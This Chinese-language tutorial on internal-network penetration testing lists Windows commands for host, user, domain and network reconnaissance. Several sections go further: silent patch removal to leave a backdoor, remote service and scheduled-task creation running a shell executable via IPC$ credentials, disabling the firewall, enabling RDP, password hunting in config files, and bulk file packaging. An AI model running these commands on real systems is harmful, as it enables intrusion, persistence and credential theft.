1. 程式人生 > >內網滲透測試的藝術[一]資訊收集(入門篇)

內網滲透測試的藝術[一]資訊收集(入門篇)

資訊收集[入門篇] 利用系統現有工具在現有許可權條件下,我們到底能做些什麼務必要時刻謹記我們蒐集資訊的初衷(嚴謹盲目),我們所蒐集到的每個資訊,都應該有它存在的價值,也就是說後續我們到底可以拿它幹什麼?這無比重要,舉個簡單例子,就拿蒐集密碼來說,首先我要知道哪些地方可能會存有密碼:

資料庫配置檔案會有資料庫的連線密碼([email protected])

三方工具的配置檔案中可能也有儲存的密碼hash(如filezilla FTP之流)

瀏覽器中說不定儲存的各種網站密碼和系統密碼是一樣的(可能會有目標網站,這就極有可能getshell),如果Lucky的話,會搞到VPN賬號密碼,豈不快哉!

在許可權和免殺都沒問題的情況下,要蒐集的密碼還有很多,關於更多蒐集密碼,猜密碼的東西,後續講

首先,我們要明白的是:資訊收集"嚴禁盲目!!!" 如果照本宣科的把命令過一遍是沒有任何意義的.對資訊的敏感度一定要高,要細心.務必要做記錄,勤於記錄這是一個好習慣.

工具是死的,人是活的. 我們知道想要做什麼,遠遠比知道怎麼做更重要

下面講解針對各個部位的各種資訊手法

  1. 資訊收集 1.1. 系統 1.1.1. systeminfo · 功能:顯示有關計算機及其作業系統的詳細配置資訊,系統版本,架構,補丁情況,包括作業系統配置,安全資訊,產品ID和硬體屬性(如RAM,磁碟空間和網絡卡)

· systeminfo命令工具十分強大。我們可以在命令提示符下面輸入 systeminfo /?檢視命令手冊。系統顯示可以還可以遠端機器的資訊,還可以輸出為CSV檔案更好的檢索系統資訊

1.1.2. systeminfo /fo:csv

· 輸出為csv格式,預設為list格式顯示有關計算機及其作業系統的詳細配置資訊, 包括作業系統配置,安全資訊,產品ID和硬體屬性(如RAM,磁碟空間和網絡卡)

1.1.3. systeminfo>>info.txt · 會將systeteminfo命令執行結果吸入到info.txt這個文字檔案

· type info.txt

• 顯示這個文字檔案的內容,我們可以從中獲取很多重要的系統資訊。

• 從這個檔案中我們可以讀取到網絡卡配置,硬體配置和補丁程式的詳情,這個可以幫助我們瞭解系統的漏洞。

1.1.4. 一般來說,儲存為CSV檔案更好,然後我們可以開啟CSV來檢索列表。 我們鍵入 systeminfo /fo csv >>D:\1.csv就可以了。用wps表格開啟

1.1.5. systeminfo /S 192.168.3.122 /U KLIONSEC\administrator /P "[email protected]#123"

· 檢視遠端指定機器的詳細系統配置資訊

1.1.6. systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440 KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i "%i" @echo %i Not Installed!)&del /f /q /a temp.txt

· 如果存在,後續檢視對應MS

1.1.7. hostname

· 計算機名

1.1.8. set · 檢視當前機器的環境變數配置,看有沒有我們可以直接利用到的語言環境

1.1.9. ver / winver 檢視當前機器的NT核心版本
1.1.10. fsutil fsinfo drives 列出當前機器上的所有碟符
1.1.11. net share 檢視當前機器開啟的共享
1.1.12. driverquery 檢視當前機器安裝的驅動列表
1.1.13. restart /r /t 0 立即重啟當前機器
1.2. 使用者及使用者組
1.2.1. whoami

· 顯示當前登入到本地系統的使用者的使用者,組和許可權資訊。 如果沒有引數使用, whoami將顯示當前的域和使用者名稱

1.2.2. whoami /user

· 使用者名稱和SID

1.2.3. whoami /groups

· 使用者所屬的使用者組

1.2.4. whoami /priv

· 使用者當前許可權

1.2.5. whoami /ALL /FO LIST
1.2.6. 
1.2.7. net user "使用者名稱"
· Net user “使用者名稱”檢視使用者資訊

• (檢視當前機器中所有的使用者名稱,開始蒐集準備使用者名稱字典 ) 新增或修改使用者帳戶或顯示使用者帳戶資訊。

1.2.8. net user 檢視本機使用者
1.2.9. net user “admin” 檢視admin使用者的詳細資訊
1.2.10. net user /domain 檢視域中的使用者
1.2.11. net user epoadmin /domain 檢視指定使用者在當前域中的詳細屬性資訊
1.2.12. query user

· 查當前機器中正線上的使用者,注意管理員此時在不在

1.2.13. net localgroup

· 新增,顯示或修改本地組

· 查當前機器中所有的組名,瞭解不同組的職能。 如,IT,HR,ADMIN,FILE…

1.2.14. net localgroup “administrators”

· 檢視指定成員組的資訊及成員

· 管理員對計算機/域有不受限制的完全訪問權

1.2.15. net group

· 新增,顯示或修改域中的全域性組

1.2.16. net group /domain 檢視域中的使用者組
1.2.17. net group “domain admins” /domain 獲得域管理員列表
1.2.18. net group “domain controllers” /domain 獲得域控制器列表
1.2.19. net group “domain computers” /domain 獲得所有域成員計算機列表
1.2.20. net accounts

· 更新使用者帳戶資料庫並修改所有帳戶的密碼和登入要求。可以用來檢視密碼策略等資訊

1.2.21. net accounts /domain

· 獲得域密碼策略設定,密碼長短等資訊

1.3. 安裝的程式&服務程序 1.3.1. powershell

· Get-WmiObject -class Win32_Product |Select-Object -Property name,version

1.3.2. 服務程序

· tasklist /svc 顯示當前機器所有的程序所對應的服務[只限於當前使用者又
許可權看到的程序]

· tasklist /m 顯示本地所有程序所呼叫的dll[同樣只限於當前使用者又許可權看
到的程序]

· tasklist /S 192.168.3.122 /v /U administrator /P "[email protected]#123" 檢視
遠端指定機器的程序列表

· tasklist /S 192.168.3.122 /v /U KLIONSEC\administrator /P
"[email protected]#123" 域內可以直接用機器名來代替

· taskkill /im calc.exe 用指定程序名的方式結束指定程序

· taskkill /S 192.168.3.122 /pid 3440 /U KLIONSEC\administrator /P
"[email protected]#123" 結束遠端機器上的指定程序

· wusa /uninstall /KB:2999226 /quiet /norestart 不重啟解除安裝指定系統補丁,方便留後門,前提是許可權要夠

1.3.3. 安裝的驅動列表

· driverquery 檢視當前機器安裝的驅動列表

1.4. 網路資訊

1.4.1. ipconfig

· 顯示所有當前TCP / IP網路配置值並重新整理動態主機配置協議(DHCP)和域名系統(DNS)設定。 在不帶引數的情況下使用, ipconfig顯示所有介面卡的IP地址, 子網掩碼和預設閘道器。

1.4.2. ipconfig /all 檢視所有介面卡

· 檢視本機ip配置,觀察本機是否在域內,內網段有幾個,閘道器在哪裡

1.4.3. ipconfig /displaydns 檢視本地DNS快取

· 顯示DNS客戶端解析程式快取的內容,其中包括從本地主機檔案預載入的條 目和計算機解析的名稱查詢的任何最近獲取的資源記錄。 檢視當前機器中所有的網路連線

1.4.4. route

· 檢視路由資訊

• 顯示並修改本地IP路由表中的條目

1.4.5. route print -4 檢視ipv4路由資訊
1.4.6. route print 列印本機路由資訊,可以看到本機所有的網絡卡介面
1.4.7. arp
· 顯示和修改地址解析協議(ARP)快取中的條目,該快取包含一個或多個用於儲存IP地址及其解析的乙太網或令牌環實體地址的表。

1.4.8. arp –a 顯示arp快取
· 查詢有價值的內網ARP通訊記錄

1.4.9. netsh int ip delete arpcache 刪除當前機器的arp快取
1.4.10. tracert 8.8.8.8 跟蹤本機出口ip
1.4.11. netstat

· 檢視當前機器中所有的網路連線

· 顯示活動的TCP連線,計算機偵聽的埠,乙太網統計資訊, IP路由表, IPv4統計資訊以及IPv6統計資訊。

1.4.12. netstat –ano 顯示活動的tcp、 udp連線及它們對應的pid,地址與埠用數字表示
1.4.13. netstat –p tcp 顯示tcp連線
1.4.14. net start 檢視本機執行的所有服務
1.4.15. netstat -ano 檢視本機所有的tcp,udp埠連線及其對應的pid
1.4.16. netstat -anob 檢視本機所有的tcp,udp埠連線,pid及其對應的發起程式
1.4.17. netstat -ano | findstr "ESTABLISHED" 檢視當前正處於連線狀態的埠及ip
1.4.18. netstat -ano | findstr "TIME_WAIT"
1.5. IPC$共享
1.5.1. net share

· 管理共享資源。 在不帶引數的情況下使用, net share顯示關於在本地計算機上共享的所有資源的資訊

1.5.2. net share 檢視當前機器開啟的共享
1.5.3. net share c$ 檢視c$共享的資訊
1.5.4. net share public_dir="c:\public" /grant:Everyone,Full 設定共享
1.5.5. net use

· 檢視網路連線

· 將計算機連線到共享資源或將計算機與共享資源斷開連線,或顯示有關計算機連線的資訊。 該命令還控制持久的網路連線。 沒有引數的情況下, net use檢索一個網路連線列表

1.5.6. 利用最基礎的ipc連線,這裡需要注意下防火牆,如果沒允許檔案和列印共享服務,是根本net不上去的

1.5.7. net use \192.168.3.122\ipc$ /u:"" "" 先空連線探測
1.5.8. net use 檢視當前機器中的ipc連線有哪些
1.5.9. net use \192.168.3.122\ipc$ /del
1.5.10. net use \192.168.3.122\admin$ /user:"dcadmin" "[email protected]#45" 建立真正的IPC

1.5.11. ipc建立成功後,嘗試直接在本地往遠端機器上拷貝檔案 1.5.12. 方式一

· net use p: \192.168.3.122\c$ 可在建立ipc後直接把對方的c盤對映過來,直接在本地進行拷貝

· net use p: /del 用完以後,務必立馬刪除對映

1.5.13. 方式二

· xcopy d:\sqlitedata*.* \192.168.3.122\c$\temp /E /Y /D 也可在建立ipc後直接遠端拷貝

1.5.14. 依然是在ipc建立後,可直接在遠端機器上建立,刪除服務,建立服務時需要注意, 常規程式需要有返回值,不然啟動服務時會報1053錯誤

1.5.15. sc \192.168.3.122 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart"
1.5.16. sc \192.168.3.122 stop shllsrv
1.5.17. sc \192.168.3.122 delete shellsrv
1.5.18. net use \192.168.3.122\admin$ /del
1.5.19. net use * /del 最後,刪除所有ipc,如果系統中還有其它的ipc連線,也可指定只刪除自己的
1.5.20. 在遠端機器上快速建立刪除定時任務,需要指定目標系統的賬號密碼 [ 03以下系統用at]

1.5.21. net use \192.168.3.122\admin$ "[email protected]#45"
/user:"klionsec\administrator"
· [email protected]#45

• 密碼

· /user:"klionsec\administrator"

• 賬號

1.5.22. net time \192.168.3.122 檢視目標機器當前時間
1.5.23. net use \192.168.3.122\admin$ /del
1.6. 定時任務
1.6.1. schtasks /create /? 檢視schtasks使用幫助
1.6.2. chcp 437

· 如果當前機器是中文系統需要先修改下cmd字符集, 預設cmd是gbk,不然後面用schtasks遠端建立計劃任務時會報錯

1.6.3. chcp 936

· 用完以後再把字符集改回來,如果是英文系統就不會有這種問題

1.6.4. schtasks使用說明

·     /Create         建立新計劃任務。

·     /Delete         刪除計劃任務。

·     /Query          顯示所有計劃任務。

·     /Change         更改計劃任務屬性。

·     /Run            按需執行計劃任務。

·     /End            中止當前正在執行的計劃任務。

·     /ShowSid        顯示與計劃的任務名稱相應的安全識別符號。

·     /?              顯示幫助訊息。

· 建立新計劃任務

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

1.6.5. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p "[email protected]#45" /create /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe"
1.6.6. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"[email protected]#45" /query | findstr "shell"
1.6.7. schtasks /s 192.168.3.122 /u "klionsec\administrator" /p
"[email protected]#45" /TN "shellexec" /delete

1.6.8. 說明書 · 建立新計劃任務

· SCHTASKS /Create [/S system [/U username [/P [password]]]]

·     [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]

·     [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]

·     [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]

·     [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

· 描述:

·      允許管理員在本地或遠端系統上建立計劃任務。

· 引數列表:

·     /S   system        指定要連線到的遠端系統。如果省略這個系統引數,預設是本地系統。

·     /U   username      指定應在其中執行 SchTasks.exe 的使用者上下文。

·     /P   [password]    指定給定使用者上下文的密碼。如果省略則提示輸入。

·     /RU  username      指定任務在其下執行的“執行方式”使用者帳戶(使用者上下文)。

·                        對於系統帳戶,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。

·                        對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和

·                        "NT AUTHORITY\NETWORKSERVICE"以及常見的 SID。對這三個也都可用。

·     /RP  [password]    指定“執行方式”使用者的密碼。要提示輸入密碼,值必須是 "*" 或無。

·                        系統帳戶會忽略該密碼。必須和 /RU 或 /XML 開關一起使用。

·                       

·     /RU/XML  /SC  schedule     指定計劃頻率。

·                        有效計劃任務:  MINUTE、 HOURLY、DAILY、WEEKLY、

·                        MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

·     /MO   modifier     改進計劃型別以允許更好地控制計劃重複

·                        週期。有效值列於下面“修改者”部分中。

·     /D    days         指定該周內執行任務的日期。有效值:

·                        MON、TUE、WED、THU、FRI、SAT、SUN

·                        和對 MONTHLY 計劃的 1 - 31

·                        (某月中的日期)。萬用字元“*”指定所有日期。

·     /M    months       指定一年內的某月。預設是該月的第一天。

·                        有效值: JAN、FEB、MAR、APR、MAY、JUN、

·                        JUL、 AUG、SEP、OCT、NOV  和 DEC。萬用字元

·                        “*” 指定所有的月。

·     /I    idletime     指定執行一個已計劃的 ONIDLE 任務之前

·                        要等待的空閒時間。

·                        有效值範圍: 1 到 999 分鐘。

·     /TN   taskname     指定唯一識別這個計劃任務的名稱。

·     /TR   taskrun      指定在這個計劃時間執行的程式的路徑

·                        和檔名。

·                        例如: C:\windows\system32\calc.exe

·     /ST   starttime    指定執行任務的開始時間。

·                        時間格式為 HH:mm (24 小時時間),例如 14:30 表示

·                        2:30 PM。如果未指定 /ST,則預設值為

·                        當前時間。/SC ONCE 必需有此選項。

·     /RI   interval     用分鐘指定重複間隔。這不適用於

·                        計劃型別: MINUTE、HOURLY、

·                        ONSTART, ONLOGON, ONIDLE, ONEVENT.

·                        有效範圍: 1 - 599940 分鐘。

·                        如果已指定 /ET 或 /DU,則其預設值為

·                        10 分鐘。

·     /ET   endtime      指定執行任務的結束時間。

·                        時間格式為 HH:mm (24 小時時間),例如,14:50 表示 2:50 PM。

·                        這不適用於計劃型別: ONSTART、

·                        ONLOGON, ONIDLE, ONEVENT.

·     /DU   duration     指定執行任務的持續時間。

·                        時間格式為 HH:mm。這不適用於 /ET 和

·                        計劃型別: ONSTART, ONLOGON, ONIDLE, ONEVENT.

·                        對於 /V1 任務,如果已指定 /RI,則持續時間預設值為

·                        1 小時。

·     /K                 在結束時間或持續時間終止任務。

·                        這不適用於計劃型別: ONSTART、

·                        ONLOGON, ONIDLE, ONEVENT.

·                        必須指定 /ET 或 /DU。

·     /SD   startdate    指定執行任務的第一個日期。

·                        格式為 yyyy/mm/dd。預設值為

·                        當前日期。這不適用於計劃型別: ONCE、

·                        ONSTART, ONLOGON, ONIDLE, ONEVENT.

·     /ED   enddate      指定此任務執行的最後一天的日期。

·                        格式是 yyyy/mm/dd。這不適用於計劃型別:

·                         ONCE、ONSTART、ONLOGON、ONIDLE。

·     /EC   ChannelName  為 OnEvent 觸發器指定事件通道。

·     /IT                僅有在 /RU 使用者當前已登入且

·                        作業正在執行時才可以互動式執行任務。

·                        此任務只有在使用者已登入的情況下才執行。

·     /NP                不儲存任何密碼。任務以給定使用者的身份

·                        非互動的方式執行。只有本地資源可用。

·     /Z                 標記在最終執行完任務後刪除任務。

·     /XML  xmlfile      從檔案的指定任務 XML 中建立任務。

·                        可以組合使用 /RU 和 /RP 開關,或者在任務 XML 已包含

·                        主體時單獨使用 /RP。

·     /V1                建立 Vista 以前的平臺可以看見的任務。

·                        不相容 /XML。

·     /F                 如果指定的任務已經存在,則強制建立

·                        任務並抑制警告。

·     /RL   level        為作業設定執行級別。有效值為

·                        LIMITED 和 HIGHEST。預設值為 LIMITED。

·     /DELAY delaytime   指定觸發觸發器後延遲任務執行的

·                        等待時間。時間格式為

·                        mmmm:ss。此選項僅對計劃型別

·                        ONSTART, ONLOGON, ONEVENT.

·     /?                 顯示幫助訊息。

· 修改者: 按計劃型別的 /MO 開關的有效值:

·     MINUTE:  1 到 1439 分鐘。

·     HOURLY:  1 - 23 小時。

·     DAILY:   1 到 365 天。

·     WEEKLY:  1 到 52 周。

·     ONCE:    無修改者。

·     ONSTART: 無修改者。

·     ONLOGON: 無修改者。

·     ONIDLE:  無修改者。

·     MONTHLY: 1 到 12,或FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。

·     ONEVENT:  XPath 事件查詢字串。

· 示例:

· ==> 在遠端機器 “ABC” 上建立計劃任務 “doc”,

· 該機器每小時在 “runasuser” 使用者下執行 notepad.exe。

· SCHTASKS /Create /S ABC /U user /P password /RU runasuser

· /RP runaspassword /SC HOURLY /TN doc /TR notepad

· ==> 在遠端機器 “ABC” 上建立計劃任務 “accountant”,

· 在指定的開始日期和結束日期之間的開始時間和結束時間內,

· 每隔五分鐘執行 calc.exe。

· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE

· /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00

· /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

· ==> 建立計劃任務 “gametime”,在每月的第一個星期天執行“空當接龍”。

· SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime

· /TR c:\windows\system32\freecell

· ==> 在遠端機器 “ABC” 建立計劃任務 “report”,每個星期執行 notepad.exe。

· SCHTASKS /Create /S ABC /U user /P password /RU runasuser

· /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

· ==> 在遠端機器 “ABC” 建立計劃任務 “logtracker”,

· 每隔五分鐘從指定的開始時間到無結束時間,

· 執行 notepad.exe。將提示輸入 /RP 密碼。

· SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE

· /MO 5 /TN logtracker

· /TR c:\windows\system32\notepad.exe /ST 18:30

· /RU runasuser /RP

· ==> 建立計劃任務 “gaming”,每天從 12:00 點開始到14:00 點自動結束,執行 freecell.exe。

·         SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00

·                  /ET 14:00 /K

· ==> 建立計劃任務“EventLog”以開始執行 wevtvwr.msc。只要在“系統”通道中釋出事件 101

·         SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT

·                  /EC System /MO *[System/EventID=101]

· ==> 檔案路徑中可以加入空格,但需要加上兩組引號,

· 一組引號用於 CMD.EXE,另一組用於 SchTasks.exe。用於 CMD

· 的外部引號必須是一對雙引號;內部引號可以是一對單引號或

· 一對轉義雙引號:

·         SCHTASKS /Create

·            /tr "'c:\program files\internet explorer\iexplorer.exe'

·            \"c:\log data\today.xml\"" ...

· 刪除計劃任務

· SCHTASKS /Delete [/S system [/U username [/P [password]]]]

·          /TN taskname [/F]

· 描述:

· 刪除一個或多個計劃任務。

· 引數列表:

·     /S   system         指定要連線到的遠端系統。

·     /U   username       指定 schtasks.exe  要執行的使用者上下文。

·     /P   [password]     指定給定使用者上下文密碼。如果省略則提示輸入。

·     /TN  taskname       指定要刪除的計劃任務名稱。可以使用萬用字元 "*" 來刪除所有任務。

·     /F                  強制刪除該任務,而且如果指定的任務當前正在執行,則抑制警告。

·     /?                  顯示幫助訊息。

· 示例:

·     SCHTASKS /Delete /TN * /F

·     SCHTASKS /Delete /TN "Backup and Restore"

·     SCHTASKS /Delete /S system /U user /P password /TN "Start Restore"

·     SCHTASKS /Delete /S system /U user /P password /TN "Start Backup" /F

· 顯示所有計劃任務

 SCHTASKS /Query [/S system [/U username [/P [password]]]]

·          [/FO format | /XML [xml_type]] [/NH] [/V] [/TN taskname] [/?]

· 描述:

· 允許管理員顯示本地或遠端系統上的計劃任務。

· 引數列表:

·     /S    system         指定要連線到的遠端系統。

·     /U    username       指定 schtasks.exe 要執行的使用者上下文。

·     /P    [password]     指定給定的使用者上下文密碼。如果省略則提示輸入。

·     /FO   format         為輸出指定格式。有效值: TABLE、LIST、CSV。

·     /NH                  指定在輸出中不顯示列標題。只對 TABLE 格式有效。

·     /V                   顯示詳細任務輸出。

·     /TN   taskname       指定要檢索其資訊的任務名稱,否則會檢索所有任務名稱的資訊。

·     /XML  [xml_type]     以 XML 格式顯示任務定義。

·                          如果 xml_type 為 ONE,則輸出為一個有效 XML 檔案。

·                          如果 xml_type 不存在,則輸出將為

·                          所有 XML 任務定義的串聯。

·     /?                   顯示幫助訊息。

· 示例:

·     SCHTASKS /Query

·     SCHTASKS /Query /?

·     SCHTASKS /Query /S system /U user /P password

·     SCHTASKS /Query /FO LIST /V /S system /U user /P password

·     SCHTASKS /Query /FO TABLE /NH /V

· 更改計劃任務屬性

· SCHTASKS /Change [/S system [/U username [/P [password]]]] /TN taskname

·      { [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime]

·        [/RI interval] [ {/ET endtime | /DU duration} [/K] ]

·        [/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }

· 描述:

· 更改要執行的程式,或計劃任務使用的使用者帳戶和密碼。

· 引數列表:

·     /S       system      指定要連線的遠端系統。

·     /U       username    指定應在其中執行 schtasks.exe的使用者上下文。

·     /P       [password]  指定給定使用者上下文的密碼。如果省略則提示輸入。

·     /TN      taskname    指定要更改的計劃任務。

·     /RU      username    更改必須在其中執行計劃任務的

·                          使用者名稱(使用者上下文)。對於系統帳戶,

·                          有效值為 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。

·                          對於 v2 任務,"NT AUTHORITY\LOCALSERVICE"和

·                          "NT AUTHORITY\NETWORKSERVICE"以及常見的 SID

·                          對這三個也都可用。

·     /RP      password    為現有使用者上下文指定新密碼

·                          或為新使用者帳戶指定密碼。

·                          對系統帳戶忽略此密碼。

·     /TR      taskrun     指定計劃任務將執行的新程式。

·     /ST      starttime   指定執行任務的開始時間。

·                          時間格式為 HH:mm (24 小時時間),例如 14:30表示 2:30 PM。

·     /RI      interval    用分鐘指定重複間隔。有效範圍: 1 - 599940 分鐘。

·     /ET      endtime     指定執行任務的結束時間。

·                          時間格式為 HH:mm (24 小時時間),例如 14:50

·                          表示 2:50 PM。

·     /DU      duration    指定執行任務的持續時間。

·                          時間格式為 HH:mm。這不適用於 /ET。

·     /K                   在結束時間或持續時間終止任務。

·     /SD      startdate   指定執行任務的第一個日期。

·                          格式為 yyyy/mm/dd。

·     /ED      enddate     指定任務應該執行的最後一個日期。

·                          格式為 yyyy/mm/dd。

·     /IT                  僅有在 /RU 使用者當前已登入且

·                          作業正在執行時才可以互動式執行任務。

·                          此任務只有在使用者已登入的情況下才執行。

·     /RL      level       設定作業的執行級別。有效值為

·                          LIMITED 和 HIGHEST。預設情況下是不對其進行更改。

·     /ENABLE              啟用計劃任務。

·     /DISABLE             禁用計劃任務。

·     /Z                   標記在最終執行完任務後刪除任務。

·     /DELAY   delaytime   指定觸發觸發器後延遲任務執行的

·                          等待時間。時間格式為

·                          mmmm:ss。此選項僅對計劃型別

·                          ONSTART、ONLOGON 和 ONEVENT 有效。

·     /?                   顯示幫助訊息。

· 示例:

·     SCHTASKS /Change /RP password /TN "備份和還原"

·     SCHTASKS /Change /TR restore.exe /TN "啟動還原"

    ·     SCHTASKS /Change /S system /U user /P password /RU newuser

·              /TN "Start Backup" /IT

· 按需執行計劃任務

· SCHTASKS /Run [/S system [/U username [/P [password]]]] [/I] /TN taskname

· 描述:

· 按需執行計劃任務。

· 引數列表:

·     /S     system        指定要連線到的遠端系統。

·     /U     username      指定應在其中執行 schtasks.exe的使用者上下文。

·     /P     [password]    為給定的使用者上下文指定密碼,如果省略則提示輸入。

·     /I                   忽略任何限制立即執行任務。

·     /TN    taskname      標識要立即執行的計劃任務。

·     /?                   顯示此幫助訊息。

· 示例:

·     SCHTASKS /Run /TN "Start Backup"

·     SCHTASKS /Run /S system /U user /P password /I /TN“備份和還原”

· 中止當前正在執行的計劃任務

· SCHTASKS /End [/S system [/U username [/P [password]]]] /TN taskname

· 描述:

· 停止正在執行的計劃任務。

· 引數列表:

·     /S   system      指定要連線到的遠端系統。

·     /U   username    指定應在其中執行schtasks.exe 的使用者上下文。

·     /P   [password]  為給定的使用者上下文指定密碼。如果已忽略,將提示輸入密碼。

·     /TN  taskname    指定要終止的計劃任務。

·     /?               顯示幫助訊息。

· 示例:

·     SCHTASKS /End /TN "Start Backup"

·     SCHTASKS /End /S system /U user /P password /TN "Backup and Restore"

· 顯示與計劃的任務名稱相應的安全識別符號

· SCHTASKS /ShowSid /TN taskname

· 描述:

· 向任務的專用使用者顯示 SID。

· 引數列表:

·     /TN  taskname    指定計劃的任務名稱。名稱中不允許有短劃線。

·     /?               顯示幫助訊息。

· 示例:

·     SCHTASKS /ShowSid /TN "\Microsoft\Windows\RAC\RACTask

1.7. 內網存活

1.7.1. for /L %I in (1,1,254) DO @ping -n 1 192.168.3.%I | findstr "TTL=128"
>> pinglog.txt

· 初步先大致看下當前所在內網有多少存活機器 [ 單基於icmp的掃描 ]

1.7.2. for /L %I in (1,1,254) DO @nslookup 192.168.3.%I | find "Name:" >>
dnslog.txt

· 蒐集當前內網中的dns資訊

1.8. 防火牆

1.8.1. netsh advfirewall show private 檢視當前機器防火牆狀態
1.8.2. netsh advfirewall set allprofiles state off 關閉當前機器防火牆
1.8.3. netsh advfirewall set allprofiles state on 開啟當前機器防火牆

1.9. 遠端桌面RDP 1.9.1. REG · 操作當前機器的rdp,實戰中推薦直接用powershell來搞,直接用reg可能會觸發防護報警:

· 第一種,使用原始的reg工具,適合03以下的系統 ```查詢rdp的埠,注意把預設的十六進位制轉換成十進位制

· reg query "HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber

· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

• 啟動RDP

· reg add
"HKEYLOCALMACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

• 禁用

1.9.2. powershell · powershell -exec bypass

• 執行旁路

· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0

· Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1

• 不允許

1.9.3. 放開防火牆對rdp的限制

· netsh advfirewall firewall set rule group="remote desktop" new enable=yes

· netsh advfirewall firewall set rule group="遠端桌面" new enable=yes

1.10. 敏感檔案 1.10.1. 在指定目錄下搜尋各類敏感檔案 ·

dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"conf"
dir /a /s /b d:\"bak"
dir /a /s /b d:\"pwd"
dir /a /s /b d:\"pass"
dir /a /s /b d:\"login"
dir /a /s /b d:\"user"

1.10.2. 批量壓縮指定檔案,注意,list.txt裡存放的是所有要打包檔案的絕對路徑

· makecab /f list.txt /d compressiontype=lzx /d
compressionmemory=21 /d maxdisksize=1024000000 /d
diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab

1.10.3. 在指定目錄下蒐集各種賬號密碼

· findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

· findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

· findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

· findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

· findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak

1.10.4. 檢視,刪除 指定檔案

· type ad\admin_pass.bak 檢視某個檔案內容

· del d:\ad*.* /a /s /q /f 強制刪除指定路徑下的所有檔案

• 短檔名

· tree /F /A D:\ >> file_list.txt 匯出指定路徑下的檔案目錄結構

1.11. 域內套件資訊收集 1.11.1. NET套件

· net user /domain 檢視當前域中的所有使用者名稱,根據使用者名稱總數大概判斷
域的規模

· net user epoadmin /domain 檢視指定使用者在當前域中的詳細屬性資訊

· net view 正常情況下可以用該命令檢視當前域中線上的機器有哪些,但這
樣看著確實不太直觀,稍微用批處理搞一下把機器名對應的ip也顯示出來,
豈不更暢快

•	

    @echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )

· net accounts /domain 檢視當前域的域內賬戶密碼設定策略

· net config workstation 看看當前的登入域

· net view /domain 檢視所有的域名稱

· net view /domain:PROGRAM 檢視指定域中線上的計算機列表

· net time /domain 檢視主域位置,一般都會把主域作為時間伺服器

· net group /domain 檢視當前域中的所有組名

· net group "domain admins" /domain 看看當前域中的域管都有誰

· net group "domain computers" /domain 看看當前域中的所有的計算機
名,只要登入過該域計算機名都會被儲存下來,並非當前線上機器

· net group "domain controllers" /domain 看看域控是哪幾個

· nltest /domain_trusts 檢視域內信任關係

1.11.2. dsquery 工具 · 該工具貌似只在域控機器上有,應該是在域的安裝包裡,你可以把對應系統的這個工具的exe和dll扣出來上傳上去用

· dsquery computer 檢視當前域內的所有機器,dsquery工具一般在域控上才有,不過你可以上傳一個和目標系統版本對應的dsquery

· dsquery user 檢視當前域中的所有賬戶名

· dsquery group 檢視當前域內的所有組名

